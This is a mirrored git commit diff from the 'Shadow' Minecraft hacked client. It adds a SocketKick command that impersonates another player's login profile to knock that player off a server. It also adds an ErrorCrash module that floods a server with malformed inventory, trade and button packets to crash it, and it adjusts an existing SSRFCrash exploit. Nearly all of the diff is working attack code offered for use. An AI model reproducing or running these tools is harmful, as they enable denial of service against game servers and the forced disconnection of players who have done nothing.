mirror of
https://github.com/Miasmusa/Shadow.git
synced 2024-11-14 19:04:54 -05:00
Merge remote-tracking branch 'origin/master'
This commit is contained in:
commit
4adc262bda
6 changed files with 189 additions and 2 deletions
|
@ -52,6 +52,7 @@ import net.shadow.client.feature.command.impl.RandomBook;
|
|||
import net.shadow.client.feature.command.impl.Rename;
|
||||
import net.shadow.client.feature.command.impl.Say;
|
||||
import net.shadow.client.feature.command.impl.ServerCrash;
|
||||
import net.shadow.client.feature.command.impl.SocketKick;
|
||||
import net.shadow.client.feature.command.impl.SpawnData;
|
||||
import net.shadow.client.feature.command.impl.StopServer;
|
||||
import net.shadow.client.feature.command.impl.Taco;
|
||||
|
@ -155,6 +156,7 @@ public class CommandRegistry {
|
|||
vanillaCommands.add(new ServerCrash());
|
||||
vanillaCommands.add(new RandomBook());
|
||||
vanillaCommands.add(new OnlineAPI());
|
||||
vanillaCommands.add(new SocketKick());
|
||||
|
||||
rebuildSharedCommands();
|
||||
}
|
||||
|
|
|
@ -46,7 +46,7 @@ public class ServerCrash extends Command {
|
|||
|
||||
@Override
|
||||
public PossibleArgument getSuggestionsWithType(int index, String[] args) {
|
||||
return StaticArgumentServer.serveFromStatic(index, new PossibleArgument(ArgumentType.STRING, "rider", "book", "malformednbt", "move", "papertest", "chunkoob", "mvcrash", "stackoverflow", "playtime", "playtimeold", "maptool", "fawe", "lag"),
|
||||
return StaticArgumentServer.serveFromStatic(index, new PossibleArgument(ArgumentType.STRING, "rider", "book", "malformednbt", "move", "papertest", "chunkoob", "mvcrash", "stackoverflow", "playtime", "playtimeold", "maptool", "fawe", "lag", "pineapple"),
|
||||
new PossibleArgument(ArgumentType.NUMBER, "(power)"));
|
||||
}
|
||||
|
||||
|
|
|
@ -0,0 +1,96 @@
|
|||
/*
|
||||
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
|
||||
*/
|
||||
|
||||
package net.shadow.client.feature.command.impl;
|
||||
|
||||
import net.minecraft.client.network.PlayerListEntry;
|
||||
import net.minecraft.entity.player.PlayerEntity;
|
||||
import net.minecraft.network.ClientConnection;
|
||||
import net.minecraft.network.NetworkState;
|
||||
import net.minecraft.network.listener.ClientLoginPacketListener;
|
||||
import net.minecraft.network.packet.c2s.handshake.HandshakeC2SPacket;
|
||||
import net.minecraft.network.packet.c2s.login.LoginHelloC2SPacket;
|
||||
import net.minecraft.network.packet.s2c.login.LoginCompressionS2CPacket;
|
||||
import net.minecraft.network.packet.s2c.login.LoginDisconnectS2CPacket;
|
||||
import net.minecraft.network.packet.s2c.login.LoginHelloS2CPacket;
|
||||
import net.minecraft.network.packet.s2c.login.LoginQueryRequestS2CPacket;
|
||||
import net.minecraft.network.packet.s2c.login.LoginSuccessS2CPacket;
|
||||
import net.minecraft.text.Text;
|
||||
import net.shadow.client.ShadowMain;
|
||||
import net.shadow.client.feature.command.Command;
|
||||
import net.shadow.client.feature.command.argument.PlayerFromNameArgumentParser;
|
||||
import net.shadow.client.feature.command.argument.StreamlineArgumentParser;
|
||||
import net.shadow.client.feature.command.coloring.ArgumentType;
|
||||
import net.shadow.client.feature.command.coloring.PossibleArgument;
|
||||
import net.shadow.client.feature.command.coloring.StaticArgumentServer;
|
||||
import net.shadow.client.feature.command.examples.ExampleServer;
|
||||
import net.shadow.client.feature.command.exception.CommandException;
|
||||
|
||||
import java.net.InetSocketAddress;
|
||||
import java.util.Objects;
|
||||
|
||||
import com.mojang.authlib.GameProfile;
|
||||
|
||||
public class SocketKick extends Command {
|
||||
public SocketKick() {
|
||||
super("SocketKick", "Kicks people out of the server using sockets!!", "socketkick", "skick", "sockkick");
|
||||
}
|
||||
|
||||
@Override
|
||||
public PossibleArgument getSuggestionsWithType(int index, String[] args) {
|
||||
return StaticArgumentServer.serveFromStatic(index, new PossibleArgument(ArgumentType.STRING, Objects.requireNonNull(ShadowMain.client.world).getPlayers().stream().map(abstractClientPlayerEntity -> abstractClientPlayerEntity.getGameProfile().getName()).toList().toArray(String[]::new)));
|
||||
}
|
||||
|
||||
@Override
|
||||
public ExamplesEntry getExampleArguments() {
|
||||
return ExampleServer.getPlayerNames();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onExecute(String[] args) throws CommandException {
|
||||
InetSocketAddress sa = (InetSocketAddress) ShadowMain.client.getNetworkHandler().getConnection().getAddress();
|
||||
ClientConnection conn = ClientConnection.connect(sa, ShadowMain.client.options.shouldUseNativeTransport());
|
||||
conn.setPacketListener(new ClientLoginPacketListener() {
|
||||
@Override
|
||||
public void onHello(LoginHelloS2CPacket packet) {
|
||||
conn.disconnect(Text.of("your mother"));
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onSuccess(LoginSuccessS2CPacket packet) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onDisconnect(LoginDisconnectS2CPacket packet) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onCompression(LoginCompressionS2CPacket packet) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onQueryRequest(LoginQueryRequestS2CPacket packet) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onDisconnected(Text reason) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public ClientConnection getConnection() {
|
||||
return null;
|
||||
}
|
||||
});
|
||||
conn.send(new HandshakeC2SPacket(sa.getHostName(), sa.getPort(), NetworkState.LOGIN));
|
||||
PlayerFromNameArgumentParser parser = new PlayerFromNameArgumentParser(true);
|
||||
PlayerEntity pe = parser.parse(args[0]);
|
||||
GameProfile fuck = pe.getGameProfile();
|
||||
conn.send(new LoginHelloC2SPacket(fuck));
|
||||
}
|
||||
}
|
|
@ -25,6 +25,7 @@ import net.shadow.client.feature.module.impl.crash.BookInflaterCrash;
|
|||
import net.shadow.client.feature.module.impl.crash.ClientCrasher;
|
||||
import net.shadow.client.feature.module.impl.crash.CraftCrash;
|
||||
import net.shadow.client.feature.module.impl.crash.EntityCrash;
|
||||
import net.shadow.client.feature.module.impl.crash.ErrorCrash;
|
||||
import net.shadow.client.feature.module.impl.crash.FlightCrash;
|
||||
import net.shadow.client.feature.module.impl.crash.InteractCrash;
|
||||
import net.shadow.client.feature.module.impl.crash.LecternCrash;
|
||||
|
@ -351,6 +352,7 @@ public class ModuleRegistry {
|
|||
registerModule(SSRFCrash.class);
|
||||
registerModule(Equipper.class);
|
||||
registerModule(Godmode.class);
|
||||
registerModule(ErrorCrash.class);
|
||||
|
||||
|
||||
rebuildSharedModuleList();
|
||||
|
|
|
@ -0,0 +1,87 @@
|
|||
/*
|
||||
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
|
||||
*/
|
||||
|
||||
package net.shadow.client.feature.module.impl.crash;
|
||||
|
||||
import net.minecraft.client.util.math.MatrixStack;
|
||||
import net.shadow.client.feature.module.ModuleType;
|
||||
import net.shadow.client.feature.config.DoubleSetting;
|
||||
import net.shadow.client.feature.config.EnumSetting;
|
||||
import net.shadow.client.feature.gui.notifications.Notification;
|
||||
import net.shadow.client.feature.module.Module;
|
||||
import it.unimi.dsi.fastutil.ints.Int2ObjectArrayMap;
|
||||
import it.unimi.dsi.fastutil.ints.Int2ObjectMap;
|
||||
import net.minecraft.item.ItemStack;
|
||||
import net.minecraft.item.Items;
|
||||
import net.minecraft.network.packet.c2s.play.ButtonClickC2SPacket;
|
||||
import net.minecraft.network.packet.c2s.play.ClickSlotC2SPacket;
|
||||
import net.minecraft.network.packet.c2s.play.SelectMerchantTradeC2SPacket;
|
||||
import net.minecraft.network.packet.c2s.play.UpdateSelectedSlotC2SPacket;
|
||||
import net.minecraft.screen.slot.SlotActionType;
|
||||
|
||||
|
||||
public class ErrorCrash extends Module {
|
||||
|
||||
final EnumSetting<Mode> mode = this.config.create(new EnumSetting.Builder<Mode>(Mode.Click).name("Mode").description("what bad packet to send").get());
|
||||
final DoubleSetting pwr = this.config.create(new DoubleSetting.Builder(5).min(1).max(500).name("Power").description("Force to attack with").get());
|
||||
|
||||
public ErrorCrash() {
|
||||
super("ErrorCrash", "Crash by making a shit ton of errors", ModuleType.CRASH);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void tick() {
|
||||
switch(mode.getValue()){
|
||||
case Click -> {
|
||||
Int2ObjectMap<ItemStack> ripbozo = new Int2ObjectArrayMap();
|
||||
ripbozo.put(0, new ItemStack(Items.ACACIA_BOAT, 1));
|
||||
for (int i = 0; i < pwr.getValue(); i++) {
|
||||
client.player.networkHandler.sendPacket(new ClickSlotC2SPacket(client.player.currentScreenHandler.syncId, 123344, 2957234, 2859623, SlotActionType.PICKUP, new ItemStack(Items.AIR, -1), ripbozo));
|
||||
}
|
||||
}
|
||||
|
||||
case Trade -> {
|
||||
for (int i = 0; i < pwr.getValue(); i++) {
|
||||
client.player.networkHandler.sendPacket(new SelectMerchantTradeC2SPacket(-1));
|
||||
}
|
||||
}
|
||||
|
||||
case Button -> {
|
||||
for (int i = 0; i < pwr.getValue(); i++) {
|
||||
client.player.networkHandler.sendPacket(new ButtonClickC2SPacket(client.player.currentScreenHandler.syncId, -1));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void enable() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void disable() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getContext() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onWorldRender(MatrixStack matrices) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onHudRender() {
|
||||
|
||||
}
|
||||
|
||||
|
||||
public enum Mode {
|
||||
Click,
|
||||
Trade,
|
||||
Button
|
||||
}
|
||||
}
|
|
@ -53,7 +53,7 @@ public class SSRFCrash extends Module {
|
|||
krash.setNbt(kompound);
|
||||
client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(36 + client.player.getInventory().selectedSlot, krash));
|
||||
try {
|
||||
client.player.networkHandler.sendPacket(new PlayerInteractBlockC2SPacket(Hand.MAIN_HAND, new BlockHitResult(new Vec3d(0, 0, 0), Direction.UP, client.player.getBlockPos(), true)));
|
||||
client.player.networkHandler.sendPacket(new PlayerInteractBlockC2SPacket(Hand.MAIN_HAND, new BlockHitResult(client.player.getPos(), Direction.UP, client.player.getBlockPos(), true)));
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
|
Loading…
Reference in a new issue